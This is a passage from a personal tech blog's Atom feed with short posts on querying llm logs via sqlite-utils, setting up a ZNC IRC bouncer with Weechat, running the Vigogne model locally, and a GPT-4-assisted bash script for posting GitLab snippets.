&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="python"></category><category term="conversion"></category></entry><entry><title>llm command-line tips</title><link href="https://blog.notmyidea.org/llm-command-line-tips.html" rel="alternate"></link><published>2023-09-27T00:00:00+02:00</published><updated>2023-09-27T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-27:/llm-command-line-tips.html</id><summary type="html">&lt;p&gt;I&amp;#8217;m using &lt;a href="https://llm.datasette.io"&gt;llm&lt;/a&gt; more and more, and today I had to find back prompts I used in the past. Here is a command I&amp;#8217;ve been using, which allows me to filter the results based on what I want. It leverages &lt;a href="https://sqlutils.datasette.io"&gt;sql-utils&lt;/a&gt;, a cli tool which is able to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I&amp;#8217;m using &lt;a href="https://llm.datasette.io"&gt;llm&lt;/a&gt; more and more, and today I had to find back prompts I used in the past. Here is a command I&amp;#8217;ve been using, which allows me to filter the results based on what I want. It leverages &lt;a href="https://sqlutils.datasette.io"&gt;sql-utils&lt;/a&gt;, a cli tool which is able to talk to a &lt;span class="caps"&gt;SQLITE&lt;/span&gt; database and answer in json, and &lt;a href="https://github.com/jqlang/jq"&gt;jq&lt;/a&gt; a command-line tool capable of doing requests for&amp;nbsp;json.&lt;/p&gt;
&lt;p&gt;All in all, it&amp;#8217;s pretty satisfying to use. I finally got a simple way to query databases! I&amp;#8217;m also using &lt;a href="https://github.com/charmbracelet/glow"&gt;glow&lt;/a&gt;, which is capable of transforming markdown into a better version on the&amp;nbsp;terminal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sqlite-utils&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;llm&lt;span class="w"&gt; &lt;/span&gt;logs&lt;span class="w"&gt; &lt;/span&gt;path&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SELECT * FROM responses WHERE prompt LIKE &amp;#39;%search%&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.[].response&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;glow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which got me a colored response&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category><category term="python"></category><category term="llm"></category><category term="bash"></category><category term="sqlite"></category></entry><entry><title>Setting up a IRC Bouncer with ZNC</title><link href="https://blog.notmyidea.org/setting-up-a-irc-bouncer-with-znc.html" rel="alternate"></link><published>2023-09-27T00:00:00+02:00</published><updated>2023-09-27T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-27:/setting-up-a-irc-bouncer-with-znc.html</id><summary type="html">&lt;p&gt;It&amp;#8217;s been a while since I&amp;#8217;ve used &lt;span class="caps"&gt;IRC&lt;/span&gt;, but I needed to connect to it today to discuss around &lt;a href="https://docs.peewee-orm.com"&gt;Peewee&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The main issue with &lt;span class="caps"&gt;IRC&lt;/span&gt; is that you need to be connected to see the answer, and to get the context of the conversation. Unless&amp;#8230; you set up …&lt;/p&gt;</summary><content type="html">&lt;p&gt;It&amp;#8217;s been a while since I&amp;#8217;ve used &lt;span class="caps"&gt;IRC&lt;/span&gt;, but I needed to connect to it today to discuss around &lt;a href="https://docs.peewee-orm.com"&gt;Peewee&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The main issue with &lt;span class="caps"&gt;IRC&lt;/span&gt; is that you need to be connected to see the answer, and to get the context of the conversation. Unless&amp;#8230; you set up a&amp;nbsp;bouncer.&lt;/p&gt;
&lt;p&gt;The bouncer is named &lt;a href="https://znc.in"&gt;&lt;span class="caps"&gt;ZNC&lt;/span&gt;&lt;/a&gt;, and the &lt;span class="caps"&gt;IRC&lt;/span&gt; client I use is &lt;a href="https://weechat.org"&gt;Weechat&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, that&amp;#8217;s what I&amp;nbsp;did:&lt;/p&gt;
&lt;h2 id="installation-of-znc"&gt;Installation of &lt;span class="caps"&gt;ZNC&lt;/span&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;znc
sudo&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;_znc&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/znc&lt;span class="w"&gt; &lt;/span&gt;--datadir&lt;span class="o"&gt;=&lt;/span&gt;/var/lib/znc&lt;span class="w"&gt; &lt;/span&gt;--makeconf
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;znc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can answer the questions asked by &lt;code&gt;--makeconf&lt;/code&gt;, it will generate you a configuration file like this (stored in &lt;code&gt;/var/lib/znc/configurations/znc.conf&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;AnonIPLimit&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;10
AuthOnlyViaModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
ConfigWriteDelay&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;0
ConnectDelay&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;5
HideVersion&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
LoadModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;webadmin
MaxBufferSize&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;500
ProtectWebSessions&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
SSLCertFile&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;/var/lib/znc/znc.pem
SSLDHParamFile&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;/var/lib/znc/znc.pem
SSLKeyFile&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;/var/lib/znc/znc.pem
ServerThrottle&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;30
Version&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;1.8.2

&lt;span class="nt"&gt;&amp;lt;Listener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;listener0&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;AllowIRC&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;AllowWeb&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;IPv4&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;IPv6&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;Port&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;6697
&lt;span class="w"&gt;    &lt;/span&gt;SSL&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;URIPrefix&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;/
&lt;span class="nt"&gt;&amp;lt;/Listener&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;alexis&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;Admin&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;Allow&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;*
&lt;span class="w"&gt;    &lt;/span&gt;AltNick&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;alexis_
&lt;span class="w"&gt;    &lt;/span&gt;AppendTimestamp&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
&lt;span class="w"&gt;    &lt;/span&gt;AuthOnlyViaModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
&lt;span class="w"&gt;    &lt;/span&gt;AutoClearChanBuffer&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;AutoClearQueryBuffer&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;BindHost&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;skate.notmyidea.org
&lt;span class="w"&gt;    &lt;/span&gt;ChanBufferSize&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;50
&lt;span class="w"&gt;    &lt;/span&gt;DenyLoadMod&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
&lt;span class="w"&gt;    &lt;/span&gt;DenySetBindHost&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
&lt;span class="w"&gt;    &lt;/span&gt;Ident&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;alexis
&lt;span class="w"&gt;    &lt;/span&gt;JoinTries&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;10
&lt;span class="w"&gt;    &lt;/span&gt;LoadModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;chansaver
&lt;span class="w"&gt;    &lt;/span&gt;LoadModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;controlpanel
&lt;span class="w"&gt;    &lt;/span&gt;MaxJoins&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;0
&lt;span class="w"&gt;    &lt;/span&gt;MaxNetworks&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;1
&lt;span class="w"&gt;    &lt;/span&gt;MaxQueryBuffers&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;50
&lt;span class="w"&gt;    &lt;/span&gt;MultiClients&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;Nick&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;alexis
&lt;span class="w"&gt;    &lt;/span&gt;NoTrafficTimeout&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;180
&lt;span class="w"&gt;    &lt;/span&gt;PrependTimestamp&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;    &lt;/span&gt;QueryBufferSize&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;50
&lt;span class="w"&gt;    &lt;/span&gt;QuitMsg&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;See&lt;span class="w"&gt; &lt;/span&gt;you&lt;span class="w"&gt; &lt;/span&gt;:)
&lt;span class="w"&gt;    &lt;/span&gt;RealName&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;N/A
&lt;span class="w"&gt;    &lt;/span&gt;StatusPrefix&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;*
&lt;span class="w"&gt;    &lt;/span&gt;TimestampFormat&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;[%H:%M:%S]

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Network&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;liberachat&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;FloodBurst&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;9
&lt;span class="w"&gt;        &lt;/span&gt;FloodRate&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;2.00
&lt;span class="w"&gt;        &lt;/span&gt;IRCConnectEnabled&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true
&lt;span class="w"&gt;        &lt;/span&gt;JoinDelay&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;0
&lt;span class="w"&gt;        &lt;/span&gt;LoadModule&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;simple_away
&lt;span class="w"&gt;        &lt;/span&gt;RealName&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;N/A
&lt;span class="w"&gt;        &lt;/span&gt;Server&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;irc.libera.chat&lt;span class="w"&gt; &lt;/span&gt;+6697
&lt;span class="w"&gt;        &lt;/span&gt;TrustAllCerts&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;false
&lt;span class="w"&gt;        &lt;/span&gt;TrustPKI&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;true

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Chan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#peewee&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Chan&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Network&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;password&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;Hash&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;REDACTED
&lt;span class="w"&gt;        &lt;/span&gt;Method&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;SHA256
&lt;span class="w"&gt;        &lt;/span&gt;Salt&lt;span class="w"&gt; &lt;/span&gt;=&lt;span class="w"&gt; &lt;/span&gt;REDACTED
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Pass&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/User&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can access a web interface on the exposed port. I had to make a change in my Firefox configuration, in &lt;code&gt;about:config&lt;/code&gt;, set &lt;code&gt;network.security.ports.banned.override&lt;/code&gt; to &lt;code&gt;6697&lt;/code&gt;, otherwise, Firefox prevents you from connecting to these ports (which might actually be a good&amp;nbsp;idea).&lt;/p&gt;
&lt;h2 id="weechat-configuration"&gt;Weechat&amp;nbsp;configuration&lt;/h2&gt;
&lt;p&gt;Now, to use this in weechat, here are some useful commands. First, get the fingerprint of the &lt;span class="caps"&gt;SSL&lt;/span&gt; certificate generated on your&amp;nbsp;server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/var/log/znc/znc.pem&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;x509&lt;span class="w"&gt; &lt;/span&gt;-sha512&lt;span class="w"&gt; &lt;/span&gt;-fingerprint&lt;span class="w"&gt; &lt;/span&gt;-noout&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A-Z&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a-z&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, in weechat&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/server add znc host/6697 -tls -username=&amp;lt;username&amp;gt; -password=&amp;lt;yourpass&amp;gt; -autoconnect
/set irc.server.znc.tls_fingerprint &amp;lt;fingerprint-goes-here&amp;gt;
/connect znc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And you should be all&amp;nbsp;set!&lt;/p&gt;
&lt;p&gt;Resources : &lt;a href="https://wiki.znc.in/Weechat"&gt;The &lt;span class="caps"&gt;ZNC&lt;/span&gt; Wiki on Weechat&lt;/a&gt; and the &lt;a href="https://wiki.debian.org/ZNC"&gt;Debian page on &lt;span class="caps"&gt;ZNC&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="code"></category><category term="ZNC"></category><category term="Weechat"></category><category term="IRC"></category></entry><entry><title>How to run the vigogne model locally</title><link href="https://blog.notmyidea.org/how-to-run-the-vigogne-model-locally.html" rel="alternate"></link><published>2023-09-22T00:00:00+02:00</published><updated>2023-09-22T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-22:/how-to-run-the-vigogne-model-locally.html</id><summary type="html">
&lt;p&gt;&lt;a href="https://github.com/bofenghuang/vigogne"&gt;Vigogne&lt;/a&gt; is a &lt;span class="caps"&gt;LLM&lt;/span&gt; model based on &lt;span class="caps"&gt;LLAMA2&lt;/span&gt;, but trained with french data. As I&amp;#8217;m working mostly in french, it might be useful. The current models that I can get locally are in&amp;nbsp;english.&lt;/p&gt;
&lt;p&gt;The information I&amp;#8217;ve found online are scarse and not so easy to follow, so …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;&lt;a href="https://github.com/bofenghuang/vigogne"&gt;Vigogne&lt;/a&gt; is a &lt;span class="caps"&gt;LLM&lt;/span&gt; model based on &lt;span class="caps"&gt;LLAMA2&lt;/span&gt;, but trained with french data. As I&amp;#8217;m working mostly in french, it might be useful. The current models that I can get locally are in&amp;nbsp;english.&lt;/p&gt;
&lt;p&gt;The information I&amp;#8217;ve found online are scarse and not so easy to follow, so here is a step by step tutorial you can follow. I&amp;#8217;m using &lt;a href="https://pipenv.pypa.io/en/latest/"&gt;pipenv&lt;/a&gt; almost everywhere now, it&amp;#8217;s so easy&amp;nbsp;:-)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;llm&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-U&lt;span class="w"&gt; &lt;/span&gt;llm-llama-cpp
wget&lt;span class="w"&gt; &lt;/span&gt;https://huggingface.co/TheBloke/Vigogne-2-7B-Chat-GGUF/resolve/main/vigogne-2-7b-chat.Q4_K_M.gguf
llm&lt;span class="w"&gt; &lt;/span&gt;llama-cpp&lt;span class="w"&gt; &lt;/span&gt;add-model&lt;span class="w"&gt; &lt;/span&gt;vigogne-2-7b-chat.Q4_K_M.gguf&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;vigogne
llm&lt;span class="w"&gt; &lt;/span&gt;models&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;vigogne
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="llm"></category></entry><entry><title>Creating a simple command line to post snippets on Gitlab</title><link href="https://blog.notmyidea.org/creating-a-simple-command-line-to-post-snippets-on-gitlab.html" rel="alternate"></link><published>2023-09-18T00:00:00+02:00</published><updated>2023-09-18T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-09-18:/creating-a-simple-command-line-to-post-snippets-on-gitlab.html</id><summary type="html">
&lt;p&gt;I&amp;#8217;m trying to get away from Github, and one thing that I find useful is the &lt;a href="https://gist.github.com"&gt;gist&lt;/a&gt; utility they&amp;#8217;re providing. Seems that gitlab provides a similar&amp;nbsp;tool.&lt;/p&gt;
&lt;p&gt;You can use it using &lt;a href="https://python-gitlab.readthedocs.io/"&gt;python-gitlab&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pipx&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;python-gitlab
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And then&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gitlab&lt;span class="w"&gt; &lt;/span&gt;snippet&lt;span class="w"&gt; &lt;/span&gt;create&lt;span class="w"&gt; &lt;/span&gt;--title&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;youpi&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--file-name&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;snip.py&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--content&lt;span class="w"&gt; &lt;/span&gt;snip …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">
&lt;p&gt;I&amp;#8217;m trying to get away from Github, and one thing that I find useful is the &lt;a href="https://gist.github.com"&gt;gist&lt;/a&gt; utility they&amp;#8217;re providing. Seems that gitlab provides a similar&amp;nbsp;tool.&lt;/p&gt;
&lt;p&gt;You can use it using &lt;a href="https://python-gitlab.readthedocs.io/"&gt;python-gitlab&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pipx&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;python-gitlab
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And then&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gitlab&lt;span class="w"&gt; &lt;/span&gt;snippet&lt;span class="w"&gt; &lt;/span&gt;create&lt;span class="w"&gt; &lt;/span&gt;--title&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;youpi&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--file-name&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;snip.py&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--content&lt;span class="w"&gt; &lt;/span&gt;snip.py&lt;span class="w"&gt; &lt;/span&gt;--visibility&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;public&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I now wanted a small bash script which will just get the name of the file and infer all the parameters. I asked &lt;span class="caps"&gt;GPT&lt;/span&gt;-4, and iterated on its&amp;nbsp;answer.&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s the resulting bash&amp;nbsp;script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-z&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Please provide a filename&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;base&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;basename&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$base&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;visibility&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;public&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Use `cat` to fetch the content of the file&lt;/span&gt;
&lt;span class="nv"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

